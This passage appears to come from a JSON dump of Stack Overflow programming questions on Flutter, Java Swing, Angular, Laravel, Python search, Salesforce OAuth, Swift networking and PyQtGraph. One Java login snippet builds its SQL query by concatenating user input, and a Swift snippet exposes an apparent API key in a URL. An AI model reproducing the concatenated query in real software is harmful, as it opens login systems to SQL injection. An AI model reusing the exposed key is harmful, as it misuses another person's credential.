partitions from topic-2. How does Kafka Streams handle this situation?</p>\n\n<p>Thank you!</p>\n"},{"Classification":"","Title":"Using Futures to load config.json in Flutter","Body":"<p>Being new to Dart/Flutter I am using this snippet to try and load a <code>config.json</code> file that I have stored in my assets folder. In trying to read this file, I am using models on the Dart language <a href=\"https://www.dartlang.org/tutorials/language/futures\" rel=\"nofollow noreferrer\">Futures documentation</a> and in the <a href=\"https://flutter.io/cookbook/persistence/reading-writing-files/\" rel=\"nofollow noreferrer\">Flutter docs on reading local text files</a>:</p>\n\n<pre><code>import 'dart:async' show Future;\nimport 'package:flutter/services.dart' show rootBundle;\nimport 'dart:convert';\n\nFuture&lt;List&gt; loadAsset() async {\n String raw = await rootBundle.loadString('assets/config.json');\n List configData = json.decode(raw);\n return configData;\n}\n</code></pre>\n\n<p>Then, inside my class, I try to load the config into a List, like this:</p>\n\n<pre><code>Future&lt;List&gt; configData = loadAsset();\nprint(configData.toString());\n// prints out: Instance of 'Future&lt;List&lt;dynamic&gt;&gt;'\n</code></pre>\n\n<p>The result of all this seems to work. Yet I can find no way of using the data I have loaded. Any effort to access elements in the List, e.g. <code>configData[0]</code> results in an error:</p>\n\n<pre><code>The following _CompileTimeError was thrown building \nHomePage(dirty, state: HomePageState#b1af8):\n'package:myapp/pages/home_page.dart': error: \nline 64 pos 19: lib/pages/home_page.dart:64:19:\nError: The method '[]' isn't defined for the class \n'dart.async::Future&lt;dart.core::List&lt;dynamic&gt;&gt;'.\nTry correcting the name to the name of an existing method, \nor defining a method named '[]'.\n</code></pre>\n\n<p>I would like to convert the <code>configData</code> Future into a normal object that I can read and pass around my app. I am able to do something very similar, and to get it to work inside a widget's build method, using a <code>FutureBuilder</code> and the <code>DefaultAssetBundle</code> thus...</p>\n\n<pre><code>DefaultAssetBundle\n.of(context)\n.loadString('assets/config.json')\n</code></pre>\n\n<p>...but I don't want the overhead of reloading the data inside all the widgets that need it. I would like to load inside a separate Dart package and have it available as a global configuration across all my app. Any pointers would be appreciated. </p>\n\n<hr>\n\n<p>I have tried the suggestion by Rémi Rousselet:</p>\n\n<pre><code>List configData = await loadAsset();\nprint(configData[0]);\n</code></pre>\n\n<p>In this case, I get a compiler error:</p>\n\n<pre><code>compiler message: lib/pages/home_page.dart:55:21: Error: Getter not found: 'await'.\ncompiler message: List configData = await loadAsset();\ncompiler message: ^^^^^\n</code></pre>\n"},{"Classification":"","Title":"Using Enter key Listener anywhere in JPanel to automatically click submit button","Body":"<p>I have a method signInButtonActionPerformed() which is not getting invoked when I press Enter key while signInButton is in focus?</p>\n\n<p>Also, I want it to click on signInButton if I press Enter key anytime, anywhere irrespective of what is in ...focusGained().</p>\n\n<pre><code>private void signInButtonActionPerformed(java.awt.event.ActionEvent evt){if (is_Valid_Password(password)) {\n try{\n Connection con = DriverManager.getConnection(\"jdbc:mysql://localhost/credentials\", \"user\", \"pass\");\n Statement check = con.createStatement();\n String SQL = \"SELECT * FROM CREDENTIALS.ACCOUNTS WHERE loginID ='\"+ loginID +\"'\";\n ResultSet rs = check.executeQuery(SQL);\n } \n }}\n</code></pre>\n\n<p>As this is listener for only 1 object, How can I modify this code to listen for Enter Key anywhere as I have 15-16 objects and can't use key listener for all of them?</p>\n"},{"Classification":"","Title":"Issues with Angular Material Icons","Body":"<p>Angular 5+. </p>\n\n<p>Angular CLI 1.7.4</p>\n\n<p>Followed the setup here: <a href=\"https://material.angular.io/guide/getting-started\" rel=\"nofollow noreferrer\">https://material.angular.io/guide/getting-started</a></p>\n\n<p>How I implemented material icons: <a href=\"https://stackoverflow.com/a/48281556/1052888\">https://stackoverflow.com/a/48281556/1052888</a></p>\n\n<p>I can get <em>some</em> icons to show but there are inconsistencies. For example, this: </p>\n\n<pre><code>&lt;button mat-icon-button&gt;\n &lt;mat-icon aria-label=\"Edit dashboard\"&gt;bug report&lt;/mat-icon&gt;\n&lt;/button&gt;\n</code></pre>\n\n<p>yields (blue outline on click shows just how off center it is): </p>\n\n<p><a href=\"https://i.stack.imgur.com/Li4Rc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Li4Rc.png\" alt=\"enter image description here\"></a></p>\n\n<p>When I click the pencil, the animated circle shows in the square part of the outline which upon inspection is the area of the <code>button</code> tag.</p>\n\n<p>I'm not adding any additional styling at this point to cause this behavior. </p>\n\n<p>I have also turned off Bootstrap to see if that was causing conflicting issues.</p>\n\n<hr>\n\n<p>This one renders correctly: </p>\n\n<pre><code>&lt;button mat-icon-button&gt;\n &lt;mat-icon aria-label=\"Edit dashboard\"&gt;build&lt;/mat-icon&gt;\n&lt;/button&gt;\n</code></pre>\n\n<p>yields (All the icons should be centered like this):</p>\n\n<p><a href=\"https://i.stack.imgur.com/9PS4o.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9PS4o.png\" alt=\"enter image description here\"></a></p>\n\n<p>What I mean by centered is that I think they should be centered within the <code>button</code> tag like the <code>build</code> icon:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DMSqZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DMSqZ.png\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<p>Some icons don't display at all:</p>\n\n<pre><code> &lt;button mat-icon-button&gt;\n &lt;mat-icon aria-label=\"Edit dashboard\"&gt;aspect ratio&lt;/mat-icon&gt;\n &lt;/button&gt;\n</code></pre>\n\n<p>yields:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TcmX9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TcmX9.png\" alt=\"enter image description here\"></a></p>\n\n<p>And yes, <code>aspect ratio</code> is listed as an icon on the Angular Material <a href=\"https://material.io/icons/\" rel=\"nofollow noreferrer\">https://material.io/icons/</a></p>\n\n<p>The blue line on click can be handled with span styling. Bootstrap is causing this.</p>\n\n<p>The console reports a warning that not all material components may work correctly if a theme is present so I was sure to import into angular-cli:</p>\n\n<pre><code>\"styles\": [\n \"styles.css\",\n \"../node_modules/bootstrap/dist/css/bootstrap.min.css\",\n \"../node_modules/material-design-icons/iconfont/material-icons.css\",\n \"../node_modules/@angular/material/prebuilt-themes/indigo-pink.css\"\n\n ],\n</code></pre>\n\n<p><strong>Update:</strong>\nI guess the icons are simply broke. on the Angular Material site itself, <a href=\"https://material.angular.io/components/button/examples\" rel=\"nofollow noreferrer\">here</a>, I changed the middle heart (favorite) to display the <code>edit mode</code> icon. The layout issue occurs here as well as certain icons not showing:</p>\n\n<p><a href=\"https://i.stack.imgur.com/5zUM2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5zUM2.png\" alt=\"Repro bug on Angular Material site\"></a></p>\n"},{"Classification":"","Title":"Laravel 5.1/5.6 How to send a url in email blade","Body":"<p>I am using Mail::send function to send emails to my end users with dynamically generated links in them Below is my sample code for the function -\n $myemail = \"some email adderess\";\n $myurl = \"some url that will be emailed\";</p>\n\n<pre><code>Mail::send('emails.mybladetemplate', ['myemail' =&gt; $myemail] , function ($message) use ($myemail){\n\n$message-&gt;subject('Your favorite links');\n$message-&gt;from('someone@company.com', 'Company');\n$message-&gt;to($myemail);\n});\n</code></pre>\n\n<p>I am having trouble passing $myurl to the blade template and publishing it. I even used HTML{{ }} in my blade template but no success. I have tested Mail::send with other templates and it works fine. Just not when I pass the variables.</p>\n"},{"Classification":"","Title":"ValueError: Too many values to unpack in recursive graph search","Body":"<h1>Problem</h1>\n\n<p>As part of a uni assignment im building a program to find a shortest path from one road to another. I'm using an algorithm called recursive best-first search to do so, and im getting the ValueError as the recursion unwinds and tries to unpack the solution (Stored as a list of nodes, from goal node to root node). The recursive call is stored in the variables 'result' and 'best.f' as seen in the second last line in the search algorithm.</p>\n\n<h1>Code</h1>\n\n<p>Included below is the main algorithm and the relevant (but not all) methods</p>\n\n<h3>Search algorithm: <a href=\"https://imgur.com/a/RMGHOf5\" rel=\"nofollow noreferrer\">(Based on this pseudocode)</a></h3>\n\n<pre><code>def find_path_from_to(problem):\n return RBFS_Road(problem,Node(problem.start,None,None,0,problem),math.inf)\n\ndef RBFS_Road(problem,node,f_limit):\n if problem.goaltest(node): return solution(node)\n successors = []\n for action in problem.actions(node):\n successors.append(Node(action.current_pos,node, \n [node.current_pos,action],node.g+1,problem))\n if not successors: return \"failure\",math.inf\n for s in successors:\n s.f = max(s.g+s.h,node.f)\n while True:\n best = min_node(successors)\n if best.f &gt; f_limit: return \"failure\",best.f\n alternative = alt(successors)\n result,best.f = RBFS_Road(problem,best,min(f_limit,alternative))\n if result != \"failure\": return result\n</code></pre>\n\n<h3>The function that returns the solution list and the Node and Problem class</h3>\n\n<pre><code>def solution(node):\n solution_list = [node.current_pos]\n current_node = node\n while current_node.parent is not None:\n solution_list.append(current_node.parent.current_pos)\n current_node = current_node.parent\n return [solution_list,None]\n</code></pre>\n\n<p>|</p>\n\n<pre><code>class Problem():\n def __init__(self,start,goal,city_data):\n self.start = start\n self.goal = goal\n self.city_data = city_data\n\n def goaltest(self,node):\n return node.current_pos.split(' ',1)[0] == self.goal.split(' ',1)[0]\n def actions(self,node):\n return find_neighbors(node,self.city_data)\n\nclass Node():\n def __init__(self,current_pos,parent,action,steps,problem):\n self.current_pos = current_pos\n self.parent = parent\n self.action = action\n self.problem = problem\n self.g = steps\n self.h = h_heu(self,self.problem.city_data)\n self.f = self.g + self.h\n</code></pre>\n\n<h1>What i've tried</h1>\n\n<p>The recursive call is assigned to 2 variables, the first will end up a list and the second helps redirect the search when the algorithm decides to backtrack. The second variable 'best.f' is set to 'None' when the solution is found because we dont need it anymore. So naturally i set the solution list to return [a list,None], but still i get the unpack error.</p>\n\n<p>I then tried to print out the result of the recursive call along with the length of the output by inserting the line with the recursive call in a print statement above the original recursive call:</p>\n\n<pre><code>print(RBFS_Road(args),len(RBFS_Road(args))\n</code></pre>\n\n<p>(replaced actual arguments with 'args' for readability)</p>\n\n<p>And it outputs the following:</p>\n\n<pre><code>('failure', 4.0) 2\n('failure', 4.0) 2\n('failure', 4.0) 2\n[['street_3 45', 'avenue_0 23', 'avenue_0 21', 'street_1 37'], None] 2\n('failure', 4.0) 2\n('failure', 4.0) 2\n[['street_3 45', 'avenue_0 23', 'avenue_0 21', 'street_1 37'], None] 2\n['street_3 45', 'avenue_0 23', 'avenue_0 21', 'street_1 37'] 4\n('failure', 4.0) 2\n('failure', 4.0) 2\n[['street_3 45', 'avenue_0 23', 'avenue_0 21', 'street_1 37'], None] 2\n</code></pre>\n\n<p>And the stacktrace, after comment:</p>\n\n<pre><code>Traceback (most recent call last):\n File \"RouteFinding_New.py\", line 120, in &lt;module&gt;\n main(str(sys.argv[1]),str(sys.argv[2]),str(sys.argv[3]))\n File \"RouteFinding_New.py\", line 117, in main\n solution = find_path_from_to(problem)\n File \"RouteFinding_New.py\", line 37, in find_path_from_to\n return \nRBFS_Road(problem,Node(problem.start,None,None,0,problem),math.inf)\n File \"RouteFinding_New.py\", line 51, in RBFS_Road\n print(RBFS_Road(problem,best,min(f_limit,alternative)),len(RBFS_Road(problem,best,min(f_limit,alternative))))\nFile \"RouteFinding_New.py\", line 52, in RBFS_Road\nresult,best.f = RBFS_Road(problem,best,min(f_limit,alternative))\nValueError: too many values to unpack (expected 2)\n</code></pre>\n\n<p>I think the culprit is the line that has length 4 since it doesnt have None in it. I cannot for the life of me figure out why the None disappears.</p>\n\n<h1>The question</h1>\n\n<p>Why does my program give me the 'Too many values to unpack error' and what can i do to solve it. The problem is probaly solved if i could figure out why the 'None' disappears from the solution list (in the 'What ive tried' section)</p>\n\n<h3>Note:</h3>\n\n<p>I tried to include only the relevant parts of the problem because its already really long, so if you want to know anything more feel free to add a comment. Thanks in advance for anyone that tries to help </p>\n"},{"Classification":"","Title":"example.com/i/files/image.png returns error 404 but the picture is there","Body":"<p>I decided to use <a href=\"https://github.com/nokonoko/uguu\" rel=\"nofollow noreferrer\">Uguu</a> for a temporary file host system, but for some reason, I go to the link where the photo is (im positive its there, see the screenshot). Any suggestions on a fix?</p>\n\n<p><strong>Screenshot:</strong> <a href=\"https://i.stack.imgur.com/Iy9du.png\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/Iy9du.png</a></p>\n\n<p>I am also positive that the URL is correct, as ive checked it multiple times.</p>\n\n<p>Thanks &lt;3</p>\n"},{"Classification":"","Title":"Carousel images are stacking when they're not suppose to Bootstrap 3.3.7","Body":"<p>I want to create a carousel having two slides, a caption for each slide, and controls for sliding forwards and backwards.</p>\n\n<p>Does anyone know why the images are stacking???</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;head&gt;\n &lt;meta charset=\"utf-8\"&gt;\n &lt;link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\" integrity=\"sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u\" crossorigin=\"anonymous\"&gt;\n&lt;/head&gt;\n\n&lt;body&gt;\n\n &lt;div class=\"carousel slide\" data-ride=\"carousel\" data-interval=”false”&gt;\n &lt;div class=\"carousel-inner\"&gt;\n &lt;div class=\"carousel-item active\"&gt;\n &lt;img class=\"d-block img-fluid\" src=\"https://d2z0k43lzfi12d.cloudfront.net/blog/vcdn215/wp-content/uploads/2017/06/15.06._Running-Stamina-1-800x510.jpg\"&gt;\n &lt;div class=\"carousel-caption\"&gt;\n &lt;h3&gt;HelloWorld&lt;/h3&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;div class=\"carousel-item\"&gt;\n &lt;img class=\"d-block img-fluid\" src=\"https://www.shape.com/sites/shape.com/files/1200-woman-running-outside_1.jpg\"&gt;\n &lt;div class=\"carousel-caption\"&gt;\n &lt;h3&gt;HelloWorld&lt;/h3&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;div class=\"carousel-item\"&gt;\n &lt;img class=\"d-block img-fluid\" src=\"/Virginian_banner.jpg\"&gt;\n &lt;div class=\"carousel-caption\"&gt;\n &lt;h3&gt;HelloWorld&lt;/h3&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;a class=\"carousel-control-prev\" role=\"button\" data-slide=\"prev\"&gt;\n &lt;span class=\"carousel-control-prev-icon\" aria-hidden=\"true\"&gt;&lt;/span&gt;\n &lt;span class=\"sr-only\"&gt;Previous&lt;/span&gt;\n &lt;/a&gt;\n &lt;a class=\"carousel-control-next\" role=\"button\" data-slide=\"next\"&gt;\n &lt;span class=\"carousel-control-next-icon\" aria-hidden=\"true\"&gt;&lt;/span&gt;\n &lt;span class=\"sr-only\"&gt;Next&lt;/span&gt;\n &lt;/a&gt;\n &lt;/div&gt;\n\n &lt;script src=\"//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"&gt;&lt;/script&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"Sales force authentication using spring boot, spring oauth-2","Body":"<p>I am new to sales force, and trying the following thing,</p>\n\n<p>From an UI, calling spring boot service that uploads Document, image,video to sales force. I explored on salesforce RestApi a bit, and guess there is an api for file upload(Should check specific, let me know if anything preferred api for file upload). </p>\n\n<p>Spring boot:</p>\n\n<p>I have explored on spring</p>\n\n<pre><code> &lt;dependency&gt;\n &lt;groupId&gt;org.springframework.cloud&lt;/groupId&gt;\n &lt;artifactId&gt;spring-cloud-starter-oauth2&lt;/artifactId&gt;\n &lt;/dependency&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;org.springframework.security.oauth.boot&lt;/groupId&gt;\n &lt;artifactId&gt;spring-security-oauth2-autoconfigure&lt;/artifactId&gt;\n &lt;version&gt;2.0.0.RELEASE&lt;/version&gt;\n &lt;/dependency&gt;\n &lt;dependency&gt;\n &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;\n &lt;artifactId&gt;spring-boot-starter-security&lt;/artifactId&gt;\n &lt;/dependency&gt;\n</code></pre>\n\n<p>These useful packages, that authenticates to salesforce(uses oauth).I have created a connected application with name as my spring boot application name and am not sure about sales force call back url so i configured as <a href=\"https://localhost/8080\" rel=\"nofollow noreferrer\">https://localhost/8080</a> in salesforce. </p>\n\n<p>In my spring boot project, i have done the folowwing configurations,</p>\n\n<pre><code> security:\n oauth2:\n client:\n id: id\n client-secret: cs\n access-token-uri: https://login.salesforce.com/services/oauth2/token\n user-authorization-uri: https://login.salesforce.com/services/oauth2/authorize\n client-authentication-scheme: form\n authenticationScheme: header\n grant-type: authorization_code\n</code></pre>\n\n<p>And in my controller for testing the application, i had added</p>\n\n<pre><code>@RequestMapping(\"/user\")\npublic Principal user(Principal principle) {\n return principle;\n}\n</code></pre>\n\n<p>So, while testing the application by hitting the end point /user, am getting,</p>\n\n<pre><code> org.springframework.security.oauth2.client.resource.UserRedirectRequiredException: A redirect is required to get the users approval\n at org.springframework.security.oauth2.client.token.grant.code.AuthorizationCodeAccessTokenProvider.getRedirectForAuthorization(AuthorizationCodeAccessTokenProvider.java:359) ~[spring-security-oauth2-2.2.1.RELEASE.jar:na]\n at org.springframework.security.oauth2.client.token.grant.code.AuthorizationCodeAccessTokenProvider.obtainAccessToken(AuthorizationCodeAccessTokenProvider.java:205) ~[spring-security-oauth2-2.2.1.RELEASE.jar:na]\n at org.springframework.security.oauth2.client.OAuth2RestTemplate.acquireAccessToken(OAuth2RestTemplate.java:221) ~[spring-security-oauth2-2.2.1.RELEASE.jar:na]\n at org.springframework.security.oauth2.client.OAuth2RestTemplate.getAccessToken(OAuth2RestTemplate.java:173) ~[spring-security-oauth2-2.2.1.RELEASE.jar:na]\n at org.springframework.security.oauth2.client.filter.OAuth2ClientAuthenticationProcessingFilter.attemptAuthentication(OAuth2ClientAuthenticationProcessingFilter.java:105) ~[spring-security-oauth2-2.2.1.RELEASE.jar:na]\n at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:212) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.csrf.CsrfFilter.doFilterInternal(CsrfFilter.java:100) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:215) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:178) ~[spring-security-web-5.0.4.RELEASE.jar:5.0.4.RELEASE]\n at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:357) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:270) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:99) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal(HttpPutFormContentFilter.java:109) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal(HiddenHttpMethodFilter.java:81) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:200) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) ~[spring-web-5.0.5.RELEASE.jar:5.0.5.RELEASE]\n at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) ~[tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:496) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [na:1.8.0_161]\n at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [na:1.8.0_161]\n at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-8.5.29.jar:8.5.29]\n at java.lang.Thread.run(Unknown Source) [na:1.8.0_161]\n</code></pre>\n\n<p>the abbove error,please let me know, how i can accomplish the folowwing things.</p>\n\n<p>1) Authenticate user to access sales force api.(From spring boot).</p>\n\n<p>2) Upload a file to sales force. </p>\n"},{"Classification":"","Title":"Is There a Way to do a Spanish/English MailMerge?","Body":"<p>I have an SSRS report that has Spanish and English text boxes. If the dataset row is a Spanish speaking person, an expression in each Spanish textbox shows that and hides the English textbox. These textboxes are exactly placed over each other.</p>\n\n<p>My boss wants me to use SSRS to generate an Excel spreadsheet from the dataset(this is not hard) and use Word template for a mail merge. However, I am having trouble trying to figure out if I can hide all English when row is a Spanish row and vice versa. These are health clients of Spanish and English nationality. </p>\n\n<p>I can do mail merges attached to a Recordset, I can do one in English, one in Spanish. I am trying to avoid this and have it all in one Mail Merge.</p>\n\n<p>Areas marked in red will change to Spanish translation and/or date format. The dates are a no-brainer I can use a conditional IIF, however the formatted body I have no solution for, based on value in Field \"CL_Language\" which is either \"Spanish\" or \"English\". </p>\n\n<p><a href=\"https://i.stack.imgur.com/iTarI.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iTarI.jpg\" alt=\"English\"></a></p>\n\n<p>====================================</p>\n\n<p><a href=\"https://i.stack.imgur.com/2xclo.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2xclo.jpg\" alt=\"Spanish\"></a></p>\n\n<p>The merge fields for dates and greeting are easy. There is no merge field for the text. And yes, only option might be for 2 separate reports with different Recordsets.</p>\n"},{"Classification":"","Title":"URLSession in loop not working","Body":"<p>I am trying to downlod multiple JSON files with a URLSession and when I run the funtion one time it works. But the moment I call the <code>getSMAPrices</code> function from a loop it does not work and I can not find out why.</p>\n\n<p>Here is the working download function that works if i call it.</p>\n\n<pre><code>func getSMAPrices(symbol: String) {\n let urlString = \"https://www.alphavantage.co/query?function=SMA&amp;symbol=\\(symbol)&amp;interval=daily&amp;time_period=9&amp;series_type=close&amp;apikey=KPLI12AW8JDXM77Y\"\n guard let url = URL(string: urlString) else {\n return\n }\n\n dataTask = defaultSession.dataTask(with: url, completionHandler: { (data, response, error) in\n if error != nil {\n print(error!.localizedDescription)\n }\n\n guard let data = data else {\n return\n }\n\n //Implement JSON decoding and parsing\n do {\n //Decode retrived data with JSONDecoder and assing type of Article object\n\n let decoder = JSONDecoder()\n decoder.dateDecodingStrategy = .iso8601\n let stockData = try decoder.decode(SimpelMovingAvarage.self, from: data)\n\n //Get back to the main queue\n DispatchQueue.main.async {\n print(stockData)\n }\n\n } catch let jsonError {\n print(jsonError)\n }\n\n })\n dataTask?.resume()\n}\n</code></pre>\n\n<p>And here is my very simple loop that replaces a part in the URL every run cycle. But nothing happens.</p>\n\n<pre><code>public func scanSymbols() {\n for symbol in self.symbols {\n progress += 1\n progresBar.maxValue = Double(symbols.count)\n progresBar.doubleValue = progress\n\n //This does not work\n getSMAPrices(symbol: symbol.key)\n }\n}\n</code></pre>\n"},{"Classification":"","Title":"Pyqt5 with pyqtgraph building two graphs","Body":"<p>I am trying to build an application using the PyQt5 and pyqtgraph framework. Essentially I am trying to put two graphs in a QWidget within the QMainwindow. I am unit testing right now, and I am having a hard time coding the graphs using PlotWidget, GraphicsWindow, or GraphicsObject. Essentially two identical glasses to be call in third, that will be centralized in a fourth class. This is what I have so far.</p>\n\n<pre><code>import sys\nfrom PyQt5.QtWidgets import (QWidget, QVBoxLayout, QApplication)\nimport pyqtgraph as pg\n\nclass CustomPlot(pg.GraphicsObject):\n def __init__(self):\n pg.GraphicsObject.__init__(self)\n self.x = np.random.normal(size=1000) * 1e-5\n self.y = self.x * 500 + 0.005 * np.random.normal(size=1000)\n self.y -= self.y.min() - 1.0\n 